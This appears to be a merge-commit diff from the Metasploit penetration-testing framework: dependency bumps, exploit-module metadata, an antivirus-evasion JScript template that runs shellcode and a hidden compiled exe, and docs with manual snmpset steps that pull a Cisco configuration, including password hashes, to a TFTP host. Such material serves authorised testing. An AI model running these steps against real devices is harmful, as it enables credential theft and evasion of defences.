resolve confiict.
commit
7b1b2198cb
|
@ -188,7 +188,7 @@ GEM
|
|||
net-ssh (5.0.2)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.8.4)
|
||||
nokogiri (1.8.5)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.12.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
|
@ -234,7 +234,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.1.24)
|
||||
recog (2.1.26)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
|
@ -290,7 +290,7 @@ GEM
|
|||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.1)
|
||||
rspec-expectations (3.8.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.0)
|
||||
|
|
|
@ -72,5 +72,6 @@ function ShellCodeExec()
|
|||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
|
||||
try{
|
||||
ShellCodeExec();
|
||||
}catch(e){}
|
||||
|
|
|
@ -141,8 +141,9 @@
|
|||
var objShell = new ActiveXObject("WScript.shell");
|
||||
var js_f = path + "\\\\<%= fname %>.js";
|
||||
var ex = path + "\\\\<%= fname %>.exe";
|
||||
var platform = "/platform:<%= arch %>";
|
||||
|
||||
objShell.run(comPath + " /out:" + ex + " " + js_f);
|
||||
objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0);
|
||||
while(!fso.FileExists(ex)) { }
|
||||
|
||||
objShell.run(ex, 0);
|
||||
|
|
|
@ -5953,7 +5953,7 @@
|
|||
"Patrick DeSantis <p@t-r10t.com>",
|
||||
"K. Reid Wightman <reid@revics-security.com>"
|
||||
],
|
||||
"description": "The Moxa protocol listens on 4800/UDP and will respond to broadcast\n or direct traffic. The service is known to be used on Moxa devices\n in the NPort, OnCell, and MGate product lines. Many devices with\n firmware versions older than 2017 or late 2016 allow admin credentials\n and SNMP read and read/write community strings to be retrieved without\n authentication.\n\n This module is the work of Patrick DeSantis of Cisco Talos K. Reid\n Wightman.\n\n Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,\n and NPort 5110 firmware 2.6.",
|
||||
"description": "The Moxa protocol listens on 4800/UDP and will respond to broadcast\n or direct traffic. The service is known to be used on Moxa devices\n in the NPort, OnCell, and MGate product lines. Many devices with\n firmware versions older than 2017 or late 2016 allow admin credentials\n and SNMP read and read/write community strings to be retrieved without\n authentication.\n\n This module is the work of Patrick DeSantis of Cisco Talos and K. Reid\n Wightman.\n\n Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,\n and NPort 5110 firmware 2.6.",
|
||||
"references": [
|
||||
"CVE-2016-9361",
|
||||
"BID-85965",
|
||||
|
@ -5973,7 +5973,7 @@
|
|||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 17:56:17 +0000",
|
||||
"path": "/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/scada/moxa_credentials_recovery",
|
||||
|
@ -43470,7 +43470,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-09-01 02:40:26 +0000",
|
||||
"path": "/modules/encoders/x86/countdown.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "x86/countdown",
|
||||
|
@ -43563,7 +43563,7 @@
|
|||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-08-30 01:22:24 +0000",
|
||||
"path": "/modules/encoders/x86/nonalpha.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "x86/nonalpha",
|
||||
|
@ -43849,7 +43849,7 @@
|
|||
"targets": [
|
||||
"Microsoft Windows"
|
||||
],
|
||||
"mod_time": "2018-10-06 16:04:07 +0000",
|
||||
"mod_time": "2018-10-11 17:38:47 +0000",
|
||||
"path": "/modules/evasion/windows/windows_defender_js_hta.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/windows_defender_js_hta",
|
||||
|
@ -52514,7 +52514,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-02-05 04:48:52 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/abrt_raceabrt_priv_esc",
|
||||
|
@ -52561,7 +52561,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-09-17 22:29:20 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/af_packet_chocobo_root_priv_esc",
|
||||
|
@ -52609,7 +52609,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-05-17 18:43:27 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/af_packet_packet_set_ring_priv_esc",
|
||||
|
@ -52659,7 +52659,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-01-27 03:15:06 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/apport_abrt_chroot_priv_esc",
|
||||
|
@ -52794,7 +52794,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-08-27 13:11:22 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/bpf_sign_extension_priv_esc",
|
||||
|
@ -52875,7 +52875,7 @@
|
|||
"Linux x86",
|
||||
"Linux x86_64"
|
||||
],
|
||||
"mod_time": "2017-08-28 20:17:58 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/desktop_privilege_escalation.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/desktop_privilege_escalation",
|
||||
|
@ -52968,7 +52968,7 @@
|
|||
"Linux x86",
|
||||
"Linux x64"
|
||||
],
|
||||
"mod_time": "2018-09-15 18:54:45 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/glibc_ld_audit_dso_load_priv_esc",
|
||||
|
@ -53014,7 +53014,7 @@
|
|||
"Linux x86",
|
||||
"Linux x64"
|
||||
],
|
||||
"mod_time": "2018-09-15 18:54:45 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/glibc_origin_expansion_priv_esc",
|
||||
|
@ -53060,7 +53060,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-08-27 13:11:22 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/glibc_realpath_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/glibc_realpath_priv_esc",
|
||||
|
@ -53221,7 +53221,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-10-04 21:13:21 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/lastore_daemon_dbus_priv_esc",
|
||||
|
@ -53265,7 +53265,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-09-17 22:29:20 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/libuser_roothelper_priv_esc",
|
||||
|
@ -53308,7 +53308,7 @@
|
|||
"targets": [
|
||||
"Ubuntu"
|
||||
],
|
||||
"mod_time": "2017-08-28 20:17:58 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/netfilter_priv_esc_ipv4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/netfilter_priv_esc_ipv4",
|
||||
|
@ -53355,7 +53355,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-09-15 18:54:45 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/network_manager_vpnc_username_priv_esc",
|
||||
|
@ -53396,7 +53396,7 @@
|
|||
"Linux x86",
|
||||
"Linux x64"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 14:39:07 +0000",
|
||||
"path": "/modules/exploits/linux/local/ntfs3g_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/ntfs3g_priv_esc",
|
||||
|
@ -53438,7 +53438,7 @@
|
|||
"CVE-2015-1328",
|
||||
"CVE-2015-8660"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/overlayfs_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/overlayfs_priv_esc",
|
||||
|
@ -53479,7 +53479,7 @@
|
|||
"Linux x86",
|
||||
"Linux x64"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/pkexec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/pkexec",
|
||||
|
@ -53561,7 +53561,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-08-27 13:11:22 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/rds_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/rds_priv_esc",
|
||||
|
@ -53606,7 +53606,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-05-24 17:56:07 +0000",
|
||||
"mod_time": "2018-10-10 14:39:07 +0000",
|
||||
"path": "/modules/exploits/linux/local/recvmmsg_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/recvmmsg_priv_esc",
|
||||
|
@ -53692,7 +53692,7 @@
|
|||
"targets": [
|
||||
"Linux x86"
|
||||
],
|
||||
"mod_time": "2018-04-10 11:15:42 +0000",
|
||||
"mod_time": "2018-10-10 14:39:07 +0000",
|
||||
"path": "/modules/exploits/linux/local/sock_sendpage.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/sock_sendpage",
|
||||
|
@ -53733,7 +53733,7 @@
|
|||
"targets": [
|
||||
"Linux x86"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/sophos_wpa_clear_keys.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/sophos_wpa_clear_keys",
|
||||
|
@ -53775,7 +53775,7 @@
|
|||
"Linux x86",
|
||||
"Linux x64"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/udev_netlink.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/udev_netlink",
|
||||
|
@ -53823,7 +53823,7 @@
|
|||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2018-09-15 18:54:45 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/ufo_privilege_escalation.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/ufo_privilege_escalation",
|
||||
|
@ -53867,7 +53867,7 @@
|
|||
"Linux x86",
|
||||
"Linux x64"
|
||||
],
|
||||
"mod_time": "2017-12-30 15:20:56 +0000",
|
||||
"mod_time": "2018-10-10 14:12:29 +0000",
|
||||
"path": "/modules/exploits/linux/local/vmware_alsa_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/vmware_alsa_config",
|
||||
|
@ -53910,7 +53910,7 @@
|
|||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 14:35:34 +0000",
|
||||
"path": "/modules/exploits/linux/local/vmware_mount.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/vmware_mount",
|
||||
|
@ -53949,7 +53949,7 @@
|
|||
"Command payload",
|
||||
"Linux x86"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-10 14:39:07 +0000",
|
||||
"path": "/modules/exploits/linux/local/zpanel_zsudo.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/zpanel_zsudo",
|
||||
|
@ -65636,7 +65636,7 @@
|
|||
"asoto-r7",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.",
|
||||
"description": "This module exploits a remote code execution vulnerability in Apache Struts\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\n via an endpoint that makes use of a redirect action.\n\n Note that this exploit is dependant on the version of Tomcat running on\n the target. Versions of Tomcat starting with 7.0.88 currently don't\n support payloads larger than ~7.5kb. Windows Meterpreter sessions on\n Tomcat >=7.0.88 are currently not supported.\n\n Native payloads will be converted to executables and dropped in the\n server's temp dir. If this fails, try a cmd/* payload, which won't\n have to write to the disk.",
|
||||
"references": [
|
||||
"CVE-2018-11776",
|
||||
"URL-https://lgtm.com/blog/apache_struts_CVE-2018-11776",
|
||||
|
@ -65668,7 +65668,7 @@
|
|||
"Windows",
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2018-09-07 14:48:33 +0000",
|
||||
"mod_time": "2018-10-12 11:06:26 +0000",
|
||||
"path": "/modules/exploits/multi/http/struts2_namespace_ognl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/struts2_namespace_ognl",
|
||||
|
@ -71552,6 +71552,59 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_solaris/local/rsh_stack_clash_priv_esc": {
|
||||
"name": "Solaris RSH Stack Clash Privilege Escalation",
|
||||
"full_name": "exploit/solaris/local/rsh_stack_clash_priv_esc",
|
||||
"rank": 400,
|
||||
"disclosure_date": "2017-06-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Qualys Corporation",
|
||||
"Brendan Coles"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in RSH on unpatched Solaris\n systems which allows users to gain root privileges.\n\n The stack guard page on unpatched Solaris systems is of\n insufficient size to prevent collisions between the stack\n and heap memory, aka Stack Clash.\n\n This module uploads and executes Qualys' Solaris_rsh.c exploit,\n which exploits a vulnerability in RSH to bypass the stack guard\n page to write to the stack and create a SUID root shell.\n\n This module has offsets for Solaris versions 11.1 (x86) and\n Solaris 11.3 (x86).\n\n Exploitation will usually complete within a few minutes using\n the default number of worker threads (10). Occasionally,\n exploitation will fail. If the target system is vulnerable,\n usually re-running the exploit will be successful.\n\n This module has been tested successfully on Solaris 11.1 (x86)\n and Solaris 11.3 (x86).",
|
||||
"references": [
|
||||
"BID-99151",
|
||||
"BID-99153",
|
||||
"CVE-2017-1000364",
|
||||
"CVE-2017-3629",
|
||||
"CVE-2017-3630",
|
||||
"CVE-2017-3631",
|
||||
"EDB-42270",
|
||||
"URL-http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html",
|
||||
"URL-https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash",
|
||||
"URL-https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "Unix",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic",
|
||||
"Solaris 11.1",
|
||||
"Solaris 11.3"
|
||||
],
|
||||
"mod_time": "2018-09-18 17:38:59 +0000",
|
||||
"path": "/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "solaris/local/rsh_stack_clash_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"AKA": [
|
||||
"Stack Clash",
|
||||
"Solaris_rsh.c"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploit_solaris/lpd/sendmail_exec": {
|
||||
"name": "Solaris LPD Command Execution",
|
||||
"full_name": "exploit/solaris/lpd/sendmail_exec",
|
||||
|
@ -84689,9 +84742,11 @@
|
|||
"type": "exploit",
|
||||
"author": [
|
||||
"Julien Ahrens",
|
||||
"Gabor Seljan"
|
||||
"Gabor Seljan",
|
||||
"bzyo",
|
||||
"sinn3r <sinn3r@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a stack-based buffer overflow vulnerability in\n GetGo Download Manager version 4.9.0.1982 and earlier, caused by an\n overly long HTTP response header.\n\n By persuading the victim to download a file from a malicious server, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3.",
|
||||
"description": "This module exploits a stack-based buffer overflow vulnerability in\n GetGo Download Manager version 5.3.0.2712 earlier, caused by an\n overly long HTTP response header.\n\n By persuading the victim to download a file from a malicious server, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3.",
|
||||
"references": [
|
||||
"EDB-32132",
|
||||
"OSVDB-103910",
|
||||
|
@ -84709,9 +84764,11 @@
|
|||
|
||||
],
|
||||
"targets": [
|
||||
"Windows XP SP3"
|
||||
"Automatic",
|
||||
"4.9.0.1982 on Windows XP SP3",
|
||||
"5.3.0.2712 on Windows XP SP3"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2018-10-15 15:25:55 +0000",
|
||||
"path": "/modules/exploits/windows/browser/getgodm_http_response_bof.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/browser/getgodm_http_response_bof",
|
||||
|
@ -99308,6 +99365,47 @@
|
|||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_windows/fileformat/vlc_mkv": {
|
||||
"name": "VLC Media Player MKV Use After Free",
|
||||
"full_name": "exploit/windows/fileformat/vlc_mkv",
|
||||
"rank": 500,
|
||||
"disclosure_date": "2018-05-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Eugene Ng - GovTech",
|
||||
"Winston Ho - GovTech"
|
||||
],
|
||||
"description": "This module exploits a use after free vulnerability in\n VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of\n MKV files and affects both 32 bits and 64 bits.\n\n In order to exploit this, this module will generate two files:\n The first .mkv file contains the main vulnerability and heap spray,\n the second .mkv file is required in order to take the vulnerable code\n path and should be placed under the same directory as the .mkv file.\n\n This module has been tested against VLC v2.2.8. Tested with payloads\n windows/exec, windows/x64/exec, windows/shell/reverse_tcp,\n windows/x64/shell/reverse_tcp. Meterpreter payloads if used can\n cause the application to crash instead.",
|
||||
"references": [
|
||||
"CVE-2018-11529",
|
||||
"URL-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11529",
|
||||
"EDB-44979"
|
||||
],
|
||||
"is_server": true,
|
||||
"is_client": false,
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"VLC 2.2.8 on Windows 10 x86",
|
||||
"VLC 2.2.8 on Windows 10 x64"
|
||||
],
|
||||
"mod_time": "2018-10-10 12:22:47 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/vlc_mkv.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/vlc_mkv",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
}
|
||||
},
|
||||
"exploit_windows/fileformat/vlc_modplug_s3m": {
|
||||
"name": "VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow",
|
||||
"full_name": "exploit/windows/fileformat/vlc_modplug_s3m",
|
||||
|
|
|
@ -0,0 +1,47 @@
|
|||
## Vulnerable Application
|
||||
|
||||
SIP is a signaling protocol for voice, and video typically associated with VOIP and typically used in commercial
|
||||
phone systems. SIP and VOIP are gaining popularity with home and cellular voice/video calling systems as well.
|
||||
|
||||
This module scans the TCP port to identify what OPTIONS are available on the SIP service.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/sip/options_tcp```
|
||||
3. Do: ```set rhosts [ip]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco UC520
|
||||
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/sip/options_tcp
|
||||
msf5 auxiliary(scanner/sip/options_tcp) > set rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
msf5 auxiliary(scanner/sip/options_tcp) > run
|
||||
|
||||
[*] 2.2.2.2:5060 - 2.2.2.2:5060 tcp SIP/2.0 200 OK: {"Server"=>"Cisco-SIPGateway/IOS-12.x", "Allow"=>"INVITE, OPTIONS, BYE, CANCEL, ACK, PRACK, UPDATE, REFER, SUBSCRIBE, NOTIFY, INFO, REGISTER"}
|
||||
[*] 2.2.2.2:5060 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming using NMAP
|
||||
|
||||
Utilizing the [sip-methods](https://nmap.org/nsedoc/scripts/sip-methods.html) script
|
||||
|
||||
```
|
||||
nmap --script=sip-methods -p 5060 2.2.2.2
|
||||
|
||||
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 15:44 EDT
|
||||
Nmap scan report for 2.2.2.2
|
||||
Host is up (0.0036s latency).
|
||||
|
||||
PORT STATE SERVICE
|
||||
5060/tcp open sip
|
||||
|_sip-methods: INVITE, OPTIONS, BYE, CANCEL, ACK, PRACK, UPDATE, REFER, SUBSCRIBE, NOTIFY, INFO, REGISTER
|
||||
MAC Address: 00:1B:8F:AA:AA:AA (Cisco Systems)
|
||||
```
|
||||
|
|
@ -0,0 +1,143 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Cisco IOS devices can be configured to back-up their running and startup configurations via SNMP.
|
||||
This is a well [documented](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
|
||||
feature of IOS and many other networking devices, and is part of an administrator functionality.
|
||||
A read-write community string is required, as well as a tftp server (metasploit includes one).
|
||||
After the config has been copied, the SNMP paramters are deleted.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Enable SNMP with a read/write community string on IOS: `snmp-server community private rw`
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/snmp/cisco_config_tftp```
|
||||
4. Do: ```set COMMUNITY [read-write snmp]```
|
||||
5. Do: ```set rhosts [ip]```
|
||||
6. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**COMMUNITY**
|
||||
|
||||
The SNMP community string to use which must be read-write. Default is `public`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cisco UC520-8U-4FXO-K9 running IOS 12.4
|
||||
|
||||
```
|
||||
msf5 > setg rhosts 2.2.2.2
|
||||
rhosts => 2.2.2.2
|
||||
msf5 > use auxiliary/scanner/snmp/cisco_config_tftp
|
||||
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private
|
||||
community => private
|
||||
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run
|
||||
|
||||
[*] Starting TFTP server...
|
||||
[*] Scanning for vulnerable targets...
|
||||
[*] Trying to acquire configuration from 2.2.2.2...
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Providing some time for transfers to complete...
|
||||
[*] Incoming file from 2.2.2.2 - 2.2.2.2.txt 22831 bytes
|
||||
[+] 2.2.2.2:161 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
|
||||
[+] 2.2.2.2:161 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
|
||||
[+] 2.2.2.2:161 SNMP Community (RO): public
|
||||
[+] 2.2.2.2:161 SNMP Community (RW): private
|
||||
[*] Shutting down the TFTP service...
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Manual Interaction
|
||||
This process can also be executed manually utilizing Metasploit's TFTP server.
|
||||
Cisco's [documentation](https://www.cisco.com/c/en/us/support/docs/ip/simple-network-management-protocol-snmp/15217-copy-configs-snmp.html#copying_startup)
|
||||
was utilized to create this process.
|
||||
|
||||
1. Start the TFTP server
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/server/tftp
|
||||
msf5 auxiliary(server/tftp) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/tftp) >
|
||||
[*] Starting TFTP server on 0.0.0.0:69...
|
||||
[*] Files will be served from /tmp
|
||||
[*] Uploaded files will be saved in /tmp
|
||||
```
|
||||
|
||||
2. Execute the SNMP commands. An integer is required to group the requests together, `666` is used in this example.
|
||||
|
||||
```
|
||||
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
|
||||
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1
|
||||
|
||||
iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1
|
||||
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
|
||||
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4
|
||||
|
||||
iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4
|
||||
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
|
||||
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1
|
||||
|
||||
iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1
|
||||
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
|
||||
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1"
|
||||
|
||||
iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1
|
||||
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
|
||||
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config"
|
||||
|
||||
iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config"
|
||||
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1
|
||||
